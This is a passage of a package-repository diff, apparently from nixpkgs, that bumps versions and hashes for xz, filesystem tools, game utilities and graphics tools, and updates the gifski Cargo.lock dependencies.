a/pkgs/tools/compression/xz/default.nix +++ b/pkgs/tools/compression/xz/default.nix @@ -1,6 +1,7 @@ { lib, stdenv, fetchurl , enableStatic ? stdenv.hostPlatform.isStatic , writeScript +, testers }: # Note: this package is used for bootstrapping fetchurl, and thus @@ -8,12 +9,12 @@ # cgit) that are needed here should be included directly in Nixpkgs as # files. -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "xz"; version = "5.4.6"; src = fetchurl { - url = "https://github.com/tukaani-project/xz/releases/download/v${version}/xz-${version}.tar.bz2"; + url = with finalAttrs; "https://github.com/tukaani-project/xz/releases/download/v${version}/xz-${version}.tar.bz2"; sha256 = "sha256-kThRsnTo4dMXgeyUnxwj6NvPDs9uc6JDbcIXad0+b0k="; }; @@ -47,8 +48,11 @@ stdenv.mkDerivation rec { new_version="$(curl -s https://tukaani.org/xz/ | pcregrep -o1 '>xz-([0-9.]+)[.]tar[.]bz2</a>' | head -n1)" - update-source-version ${pname} "$new_version" + update-source-version ${finalAttrs.pname} "$new_version" ''; + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; }; meta = with lib; { @@ -72,5 +76,6 @@ stdenv.mkDerivation rec { license = with licenses; [ gpl2Plus lgpl21Plus ]; maintainers = with maintainers; [ sander ]; platforms = platforms.all; + pkgConfigModules = [ "liblzma" ]; }; -} +}) diff --git a/pkgs/tools/filesystems/btrfs-progs/default.nix b/pkgs/tools/filesystems/btrfs-progs/default.nix index ef3ba227ea6bb..6f154f7aeeca7 100644 --- a/pkgs/tools/filesystems/btrfs-progs/default.nix +++ b/pkgs/tools/filesystems/btrfs-progs/default.nix @@ -10,11 +10,11 @@ stdenv.mkDerivation rec { pname = "btrfs-progs"; - version = "6.7"; + version = "6.7.1"; src = fetchurl { url = "mirror://kernel/linux/kernel/people/kdave/btrfs-progs/btrfs-progs-v${version}.tar.xz"; - hash = "sha256-wn91UYW58tqzH0LoowPTa+0qPzNBzG117migplCiR2c="; + hash = "sha256-JNx7l08KV7oOyoD5dEC4QN+oWw8cssAb39l2WaSAsgA="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/filesystems/ceph-csi/default.nix b/pkgs/tools/filesystems/ceph-csi/default.nix index d6b39ef68e4f0..7ee65616e0b14 100644 --- a/pkgs/tools/filesystems/ceph-csi/default.nix +++ b/pkgs/tools/filesystems/ceph-csi/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "ceph-csi"; - version = "3.10.1"; + version = "3.10.2"; nativeBuildInputs = [ go ]; buildInputs = [ ceph ]; @@ -11,7 +11,7 @@ stdenv.mkDerivation rec { owner = "ceph"; repo = "ceph-csi"; rev = "v${version}"; - sha256 = "sha256-S5jv9l/Oozv0NrEEf+Bik0jnaK4AYIChFm2pU2/DQow="; + sha256 = "sha256-nS5gLe64ubcUatUfPg1f7npLZ90koJcfiDbhidS93/8="; }; preConfigure = '' diff --git a/pkgs/tools/filesystems/ceph/default.nix b/pkgs/tools/filesystems/ceph/default.nix index fa312c8fb3567..ebaf6532df523 100644 --- a/pkgs/tools/filesystems/ceph/default.nix +++ b/pkgs/tools/filesystems/ceph/default.nix @@ -195,7 +195,10 @@ let hash = "sha256-gFfDTc2QWBWHBCycVH1dYlCsWQMVcRZfOBIau+njtDU="; }; - patches = (old.patches or []) ++ [ + # Not using the normal `(old.patches or []) ++` pattern here to use + # the overridden package's patches, because current nixpkgs's `cryptography` + # has patches that do not apply on this old version. + patches = [ # Fix https://nvd.nist.gov/vuln/detail/CVE-2023-49083 which has no upstream backport. # See https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a#diff-f5134bf8f3cf0a5cc8601df55e50697acc866c603a38caff98802bd8e17976c5R1893 ./python-cryptography-Cherry-pick-fix-for-CVE-2023-49083-on-cryptography-40.patch diff --git a/pkgs/tools/filesystems/davfs2/default.nix b/pkgs/tools/filesystems/davfs2/default.nix index a64812e96b9c7..529d963af3041 100644 --- a/pkgs/tools/filesystems/davfs2/default.nix +++ b/pkgs/tools/filesystems/davfs2/default.nix @@ -8,12 +8,12 @@ , wrapperDir ? "/run/wrappers/bin" }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "davfs2"; version = "1.7.0"; src = fetchurl { - url = "mirror://savannah/davfs2/davfs2-${version}.tar.gz"; + url = "mirror://savannah/davfs2/davfs2-${finalAttrs.version}.tar.gz"; sha256 = "sha256-JR23Wic4DMoTMLG5cXAMXl3MDJDlpHYiKF8BQO3+Oi8="; }; @@ -59,4 +59,4 @@ stdenv.mkDerivation rec { platforms = lib.platforms.linux; maintainers = with lib.maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/tools/filesystems/fuse-ext2/default.nix b/pkgs/tools/filesystems/fuse-ext2/default.nix index aaff185a4a1be..e608bc5a41db8 100644 --- a/pkgs/tools/filesystems/fuse-ext2/default.nix +++ b/pkgs/tools/filesystems/fuse-ext2/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "fuse-ext2"; - version = "unstable-2020-07-12"; + version = "0.0.11"; src = fetchFromGitHub { owner = "alperakcan"; repo = "fuse-ext2"; - rev = "899f17c982dadcea13aa447c3a83c53b9431435a"; - sha256 = "AE7Z+HePAy/h2TCNI9tsz6GVLdnE2AIOM3GnQzerKn8="; + rev = "v${finalAttrs.version}"; + hash = "sha256-VQMftlnd6q1PdwhSIQwjffjnkhupY8MUc8E+p1tgvUM="; }; patches = [ diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix index e34822845b406..520a6951941ad 100644 --- a/pkgs/tools/filesystems/garage/default.nix +++ b/pkgs/tools/filesystems/garage/default.nix @@ -70,6 +70,11 @@ let "sqlite" ]; + disabledTests = [ + # Upstream told us this test is flakey. + "k2v::poll::test_poll_item" + ]; + passthru.tests = nixosTests.garage; meta = { @@ -89,22 +94,23 @@ rec { # we have to keep all the numbers in the version to handle major/minor/patch level. # for <1.0. - garage_0_8_5 = generic { - version = "0.8.5"; - sha256 = "sha256-YRxkjETSmI1dcHP9qTPLcOMqXx9B2uplVR3bBjJWn3I="; - cargoSha256 = "sha256-VOcymlvqqQRdT1MFzRcMuD+Xo3fc3XTuRA12tW7ZjdI="; + garage_0_8_7 = generic { + version = "0.8.7"; + sha256 = "sha256-2QGbR6YvMQeMxN3n1MMJ5qfBcEJ5hjXARUOfEn+m4Jc="; + cargoSha256 = "sha256-Q0QyBNPEDrlhgIHD4q7Qb1Pu3xBvzlLOSW7LSWWdoIo="; broken = stdenv.isDarwin; }; - garage_0_8 = garage_0_8_5; + garage_0_8 = garage_0_8_7; - garage_0_9_1 = generic { - version = "0.9.1"; - sha256 = "sha256-AXLaifVmZU4j5D/wKn/0TzhjHZBzZW1+tMyhsAo2eBU="; - cargoSha256 = "sha256-4/+OsM73TroBB1TGqare2xASO5KhqVyNkkss0Y0JZXg="; + garage_0_9_3 = generic { + version = "0.9.3"; + sha256 = "sha256-NN2HoheSW2+SAFX71K12KTe0wpaBEwkwxvZDi0Bdx+8="; + cargoSha256 = "sha256-OabgWVMkccFFAtBHEf3z+MRVcWaO+NCk/pumEqdNNRs="; + broken = stdenv.isDarwin; }; - garage_0_9 = garage_0_9_1; + garage_0_9 = garage_0_9_3; garage = garage_0_9; } diff --git a/pkgs/tools/filesystems/gcsfuse/default.nix b/pkgs/tools/filesystems/gcsfuse/default.nix index 145fddb9222b5..7e123c1e48006 100644 --- a/pkgs/tools/filesystems/gcsfuse/default.nix +++ b/pkgs/tools/filesystems/gcsfuse/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "gcsfuse"; - version = "1.4.1"; + version = "1.4.2"; src = fetchFromGitHub { owner = "googlecloudplatform"; repo = "gcsfuse"; rev = "v${version}"; - hash = "sha256-xQWkrFuMvwloDjnIU2T1Fmfpc/2w3ISbyDhFmN/ETFA="; + hash = "sha256-gayzCUL6xM56sy8a5ljwN0X0kjW56YLJtLwFOpxBsG4="; }; - vendorHash = "sha256-cIOjgoS3cW6GA697K0Loi76ed64Ev2jZbuOIPNRM1HU="; + vendorHash = "sha256-3b0qk/EfVfObG8Rqj2N5DypoOozCY4E2LQiGQmOMTOY="; subPackages = [ "." "tools/mount_gcsfuse" ]; diff --git a/pkgs/tools/filesystems/gfs2-utils/default.nix b/pkgs/tools/filesystems/gfs2-utils/default.nix index 6c33edbbfc921..00c73ce3e603d 100644 --- a/pkgs/tools/filesystems/gfs2-utils/default.nix +++ b/pkgs/tools/filesystems/gfs2-utils/default.nix @@ -1,31 +1,17 @@ -{ lib, stdenv, fetchurl, fetchpatch +{ lib, stdenv, fetchurl , autoreconfHook, bison, flex, pkg-config , bzip2, check, ncurses, util-linux, zlib }: stdenv.mkDerivation rec { pname = "gfs2-utils"; - version = "3.4.1"; + version = "3.5.1"; src = fetchurl { url = "https://pagure.io/gfs2-utils/archive/${version}/gfs2-utils-${version}.tar.gz"; - sha256 = "sha256-gwKxBBG5PtG4/RxX4sUC25ZeG8K2urqVkFDKL7NS4ZI="; + hash = "sha256-ZWzNfYuhIxGmSAe454vRjAKp9Lq7EBBSY36P7qVgZnw="; }; - patches = [ - # pull pending upstream inclusion fix for ncurses-6.3: sent upstream over email. - (fetchpatch { - name = "ncurses-6.3.patch"; - url = "https://pagure.io/fork/slyfox/gfs2-utils/c/c927b635f380cca77665195a3aaae804d92870a4.patch"; - sha256 = "sha256-0M1xAqRXoUi2el03WODF/nqEe9JEE5GehMWs776QZNI="; - }) - ]; - postPatch = '' - # Apply fix for ncurses-6.3. Upstream development branch already reworked the code. - # To be removed on next reelase. - substituteInPlace gfs2/edit/gfs2hex.c --replace 'printw(title);' 'printw("%s",title);' - ''; - outputs = [ "bin" "doc" "out" "man" ]; nativeBuildInputs = [ autoreconfHook bison flex pkg-config ]; diff --git a/pkgs/tools/filesystems/kdiskmark/default.nix b/pkgs/tools/filesystems/kdiskmark/default.nix index 200705098409b..fd6281a43ab6e 100644 --- a/pkgs/tools/filesystems/kdiskmark/default.nix +++ b/pkgs/tools/filesystems/kdiskmark/default.nix @@ -5,19 +5,20 @@ , qttools , fio , cmake -, kauth +, polkit-qt , extra-cmake-modules , fetchFromGitHub }: stdenv.mkDerivation rec { name = "kdiskmark"; - version = "3.0.0"; + version = "3.1.4"; src = fetchFromGitHub { owner = "jonmagon"; repo = "kdiskmark"; rev = version; - sha256 = "sha256-fDimH0BX0zxGuOMNLhNbMGMr2pS+qbZhflSpoLFK+Ng="; + sha256 = "sha256-JueY7zw9PIo9ETi7pQLpw8FGRhNXYXeXEvTzZGz9lbw="; + fetchSubmodules = true; }; nativeBuildInputs = [ cmake wrapQtAppsHook ]; @@ -26,13 +27,12 @@ stdenv.mkDerivation rec { qtbase qttools extra-cmake-modules - kauth + polkit-qt ]; - postInstall = '' - # so that kdiskmark can be used as unpriviledged user even on non-kde - # (where kauth is not in environment.systemPackages) - ln -s ${kauth}/share/dbus-1/system.d/org.kde.kf5auth.conf $out/share/dbus-1/system.d/00-kdiskmark-needs-org.kde.kf5auth.conf + preConfigure = '' + substituteInPlace CMakeLists.txt \ + --replace \$\{POLKITQT-1_POLICY_FILES_INSTALL_DIR\} $out/share/polkit-1/actions ''; qtWrapperArgs = diff --git a/pkgs/tools/filesystems/mergerfs/default.nix b/pkgs/tools/filesystems/mergerfs/default.nix index edc5708a6119b..c5dca0278ecbc 100644 --- a/pkgs/tools/filesystems/mergerfs/default.nix +++ b/pkgs/tools/filesystems/mergerfs/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "mergerfs"; - version = "2.39.0"; + version = "2.40.2"; src = fetchFromGitHub { owner = "trapexit"; repo = pname; rev = version; - sha256 = "sha256-48ArTS1Gd1z7WUX1RjiHMuyp3K3p9FJPU2XO4bj292I="; + sha256 = "sha256-3DfSGuTtM+h0IdtsIhLVXQxX5/Tj9G5Qcha3DWmyyq4="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/filesystems/nilfs-utils/default.nix b/pkgs/tools/filesystems/nilfs-utils/default.nix index 5f3b5e534ca36..ae96def578f6e 100644 --- a/pkgs/tools/filesystems/nilfs-utils/default.nix +++ b/pkgs/tools/filesystems/nilfs-utils/default.nix @@ -3,13 +3,13 @@ stdenv.mkDerivation rec { pname = "nilfs-utils"; - version = "2.2.9"; + version = "2.2.10"; src = fetchFromGitHub { owner = "nilfs-dev"; repo = pname; rev = "v${version}"; - sha256 = "sha256-XqViUvPj2BHO3bGs9xBO3VpRq9XqnwBptHvMwBOntqo="; + sha256 = "sha256-xTnd3sfBaVU4Ovcsk4oufylNpGS+5n3ZLa2GXzUbeCE="; }; nativeBuildInputs = [ autoreconfHook ]; diff --git a/pkgs/tools/filesystems/s3fs/default.nix b/pkgs/tools/filesystems/s3fs/default.nix index 88f2f8a087715..6ca298dc07946 100644 --- a/pkgs/tools/filesystems/s3fs/default.nix +++ b/pkgs/tools/filesystems/s3fs/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "s3fs-fuse"; - version = "1.93"; + version = "1.94"; src = fetchFromGitHub { owner = "s3fs-fuse"; repo = "s3fs-fuse"; rev = "v${version}"; - sha256 = "sha256-7rLHnQlyJDOn/RikOrrEAQ7O+4T+26vNGiTkOgNH75Q="; + sha256 = "sha256-90udqj+/U0SL8baEE06UawZGoIqcUEdiAGiPYpbRmHs="; }; buildInputs = [ curl openssl libxml2 fuse ]; diff --git a/pkgs/tools/filesystems/squashfuse/default.nix b/pkgs/tools/filesystems/squashfuse/default.nix index c1c374ac0340f..71a25ef88b3fd 100644 --- a/pkgs/tools/filesystems/squashfuse/default.nix +++ b/pkgs/tools/filesystems/squashfuse/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "squashfuse"; - version = "0.5.0"; + version = "0.5.2"; src = fetchFromGitHub { owner = "vasi"; repo = pname; rev = version; - sha256 = "sha256-nCdAO5WPYt/aHdNnfkIJqz0T59COgsSGeXho4bFZVTY="; + sha256 = "sha256-76PQB+6ls/RCjEP8Z4DEtX0xemN3srCsLM7DsDqiTVA="; }; nativeBuildInputs = [ autoreconfHook libtool pkg-config ]; diff --git a/pkgs/tools/filesystems/ssdfs-utils/default.nix b/pkgs/tools/filesystems/ssdfs-utils/default.nix index 46d2c8ed9293b..b4bd62b8b1b5e 100644 --- a/pkgs/tools/filesystems/ssdfs-utils/default.nix +++ b/pkgs/tools/filesystems/ssdfs-utils/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation { # as ssdfs-utils, not ssdfs-tools. pname = "ssdfs-utils"; # The version is taken from `configure.ac`, there are no tags. - version = "4.38"; + version = "4.39"; src = fetchFromGitHub { owner = "dubeyko"; repo = "ssdfs-tools"; - rev = "14c0e9eb63f75c100a711493a16665c313c7bcf7"; - hash = "sha256-s8HWuUub7EzDVZTFSitW/Zg2u0PSrXnmb5fnfOyrNL0="; + rev = "24aafdd9ee30247745b36e55e0098fa590ffc26f"; + hash = "sha256-e6Duur7EauvzK1aStbRzClfPMGRR2a7jxGpiyJfQaUk="; }; strictDeps = true; diff --git a/pkgs/tools/filesystems/xfsprogs/default.nix b/pkgs/tools/filesystems/xfsprogs/default.nix index c8c80e5ff777b..5a7022ee6a13a 100644 --- a/pkgs/tools/filesystems/xfsprogs/default.nix +++ b/pkgs/tools/filesystems/xfsprogs/default.nix @@ -58,6 +58,6 @@ stdenv.mkDerivation rec { description = "SGI XFS utilities"; license = with licenses; [ gpl2Only lgpl21 gpl3Plus ]; # see https://git.kernel.org/pub/scm/fs/xfs/xfsprogs-dev.git/tree/debian/copyright platforms = platforms.linux; - maintainers = with maintainers; [ dezgeg ] ++ teams.helsinki-systems.members; + maintainers = with maintainers; [ dezgeg ajs124 ] ++ teams.helsinki-systems.members; }; } diff --git a/pkgs/tools/games/er-patcher/default.nix b/pkgs/tools/games/er-patcher/default.nix index 6e7920bce0a02..084dfdcc10987 100644 --- a/pkgs/tools/games/er-patcher/default.nix +++ b/pkgs/tools/games/er-patcher/default.nix @@ -36,5 +36,6 @@ stdenvNoCC.mkDerivation rec { ''; license = licenses.mit; maintainers = [ maintainers.ivar ]; + mainProgram = "er-patcher"; }; } diff --git a/pkgs/tools/games/ps3-disc-dumper/default.nix b/pkgs/tools/games/ps3-disc-dumper/default.nix index 6cf54c9a8f850..e097ebd93d2bd 100644 --- a/pkgs/tools/games/ps3-disc-dumper/default.nix +++ b/pkgs/tools/games/ps3-disc-dumper/default.nix @@ -32,5 +32,6 @@ buildDotnetModule rec { license = licenses.mit; maintainers = with maintainers; [ evanjs ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ps3-disc-dumper"; }; } diff --git a/pkgs/tools/games/slipstream/default.nix b/pkgs/tools/games/slipstream/default.nix index 4e1a6e09531ac..250ef7c2f3574 100644 --- a/pkgs/tools/games/slipstream/default.nix +++ b/pkgs/tools/games/slipstream/default.nix @@ -44,5 +44,6 @@ mavenWithJdk.buildMavenPackage rec { homepage = "https://github.com/Vhati/Slipstream-Mod-Manager"; license = licenses.gpl2; maintainers = with maintainers; [ mib ]; + mainProgram = "slipstream"; }; } diff --git a/pkgs/tools/games/steam-rom-manager/default.nix b/pkgs/tools/games/steam-rom-manager/default.nix index b9744015fea0d..89af86fe7511d 100644 --- a/pkgs/tools/games/steam-rom-manager/default.nix +++ b/pkgs/tools/games/steam-rom-manager/default.nix @@ -24,5 +24,6 @@ appimageTools.wrapType2 rec { license = licenses.gpl3Only; maintainers = with maintainers; [ squarepear ]; platforms = [ "x86_64-linux" ]; + mainProgram = "steam-rom-manager"; }; } diff --git a/pkgs/tools/graphics/asymptote/default.nix b/pkgs/tools/graphics/asymptote/default.nix index a5968425f5d88..30681663a7cee 100644 --- a/pkgs/tools/graphics/asymptote/default.nix +++ b/pkgs/tools/graphics/asymptote/default.nix @@ -9,14 +9,14 @@ }: stdenv.mkDerivation rec { - version = "2.86"; + version = "2.87"; pname = "asymptote"; src = fetchFromGitHub { owner = "vectorgraphics"; repo = pname; rev = version; - hash = "sha256-Bk8/WIQTfrbOo9b2hw580vJwiK6P1OBV5HMqMH+LkuE="; + hash = "sha256-xzRZ7NOWeu+uC5WeTxwh5MFm7psXMhxrxucT4PVtRxM="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/graphics/dmtx-utils/default.nix b/pkgs/tools/graphics/dmtx-utils/default.nix index f4cc746a24f3a..f03f38742e196 100644 --- a/pkgs/tools/graphics/dmtx-utils/default.nix +++ b/pkgs/tools/graphics/dmtx-utils/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "dmtx-utils"; - version = "0.7.6"; + version = "0.7.6-unstable-2023-09-21"; src = fetchFromGitHub { owner = "dmtx"; repo = "dmtx-utils"; - rev = "v${version}"; - sha256 = "06m3qncqdlcnmw83n95yrx2alaq6bld320ax26z4ndnla41yk0p4"; + rev = "057faa00143c152e8e21c29a36137f771614daed"; + hash = "sha256-uXzPAv6DappyHBNmsTg6qRUvtUUdP1IPOdDvIcevfco="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/tools/graphics/gifsicle/default.nix b/pkgs/tools/graphics/gifsicle/default.nix index 912bbde2f3e60..77247f7fea808 100644 --- a/pkgs/tools/graphics/gifsicle/default.nix +++ b/pkgs/tools/graphics/gifsicle/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation rec { pname = "gifsicle"; - version = "1.94"; + version = "1.95"; src = fetchurl { url = "https://www.lcdf.org/gifsicle/${pname}-${version}.tar.gz"; - sha256 = "sha256-S8lwBcB4liDedfiZl9PC9wdYxyxhqgou8E96Zxov+Js="; + sha256 = "sha256-snEWRwCf0qExMPO+FgUy7UZTjnYr/A8CDepQYYp9yVA="; }; buildInputs = lib.optionals gifview [ xorgproto libXt libX11 ]; diff --git a/pkgs/tools/graphics/gifski/Cargo.lock b/pkgs/tools/graphics/gifski/Cargo.lock index bc840dec7f1fb..178b72975ef03 100644 --- a/pkgs/tools/graphics/gifski/Cargo.lock +++ b/pkgs/tools/graphics/gifski/Cargo.lock @@ -10,9 +10,9 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "ahash" -version = "0.8.5" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd7d5a2cecb58716e47d67d5703a249964b14c7be1ec3cad3affc295b2d1c35d" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ "cfg-if", "once_cell", @@ -31,9 +31,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.4" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" dependencies = [ "anstyle", "anstyle-parse", @@ -45,36 +45,36 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.4" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" -version = "0.2.2" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" dependencies = [ "utf8parse", ] [[package]] name = "anstyle-query" -version = "1.0.0" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" dependencies = [ - "windows-sys", + "windows-sys 0.52.0", ] [[package]] name = "anstyle-wincon" -version = "3.0.1" +version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" dependencies = [ "anstyle", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -117,9 +117,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bytemuck" -version = "1.14.0" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] name = "cc" @@ -147,9 +147,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "clang-sys" -version = "1.6.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c688fc74432808e3eb684cae8830a86be1d66a2bd58e1f248ed0960a590baf6f" +checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1" dependencies = [ "glob", "libc", @@ -158,18 +158,18 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.6" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d04704f56c2cde07f43e8e2c154b43f216dc5c92fc98ada720177362f953b956" +checksum = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f" dependencies = [ "clap_builder", ] [[package]] name = "clap_builder" -version = "4.4.6" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e231faeaca65ebd1ea3c737966bf858971cd38c3849107aa3ea7de90a804e45" +checksum = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99" dependencies = [ "anstream", "anstyle", @@ -179,9 +179,9 @@ dependencies = [ [[package]] name = "clap_lex" -version = "0.5.1" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd7cc57abe963c6d3b9d8be5b06ba7c8957a930305ca90304f24ef040aa6f961" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" [[package]] name = "colorchoice" @@ -200,46 +200,37 @@ dependencies = [ [[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", - "memoffset", - "scopeguard", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "dunce" @@ -264,9 +255,9 @@ dependencies = [ [[package]] name = "ffmpeg-next" -version = "6.0.0" +version = "6.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8af03c47ad26832ab3aabc4cdbf210af3d3b878783edd5a7ba044ba33aab7a60" +checksum = "4e72c72e8dcf638fb0fb03f033a954691662b5dabeaa3f85a6607d101569fccd" dependencies = [ "bitflags", "ffmpeg-sys-next", @@ -275,8 +266,8 @@ dependencies = [ [[package]] name = "ffmpeg-sys-next" -version = "6.0.1" -source = "git+https://github.com/kornelski/rust-ffmpeg-sys-1?rev=94d5496d88900bdc0cad66733138134d0ea3cf31#94d5496d88900bdc0cad66733138134d0ea3cf31" +version = "6.1.0" +source = "git+https://github.com/kornelski/rust-ffmpeg-sys-1?rev=fd5784d645df2ebe022a204ac36582074da1edf7#fd5784d645df2ebe022a204ac36582074da1edf7" dependencies = [ "bindgen", "cc", @@ -298,18 +289,18 @@ dependencies = [ [[package]] name = "gif" -version = "0.12.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" +checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" dependencies = [ "weezl", ] [[package]] name = "gif-dispose" -version = "4.0.1" +version = "5.0.0-beta.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "347afae04a03ca25a3a76d130abb63e7e6e7367b895470fdc3d996aec916c3d7" +checksum = "b0d20a3802e15ff705c260e39152ff1987145a1c5ae016bc3d510abceb45b9ed" dependencies = [ "gif", "imgref", @@ -318,7 +309,7 @@ dependencies = [ [[package]] name = "gifski" -version = "1.13.1" +version = "1.14.4" dependencies = [ "clap", "crossbeam-channel", @@ -333,6 +324,7 @@ dependencies = [ "loop9", "natord", "num-traits", + "ordered-channel", "pbr", "quick-error", "resize", @@ -357,15 +349,15 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3" [[package]] name = "imagequant" -version = "4.2.2" +version = "4.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "84d51957ac48371e8e2eaaeb4eba56150ff2109c1c8c200002afb7dd6e2d260f" +checksum = "85a7f142d232ccbdc00cbef49d17f45639aeb07d9bfe28e17c21dea3efac64e5" dependencies = [ "arrayvec", "once_cell", @@ -376,9 +368,9 @@ dependencies = [ [[package]] name = "imgref" -version = "1.10.0" +version = "1.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90d944e334f00f4449c9640b440a171f816be0152305c12ef90424fc35fd035c" +checksum = "44feda355f4159a7c757171a77de25daf6411e217b4cabd03bd6650690468126" [[package]] name = "lazy_static" @@ -394,25 +386,25 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.149" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a08173bc88b7955d1b3145aa561539096c421ac8debde8cbc3612ec635fee29b" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libloading" -version = "0.7.4" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 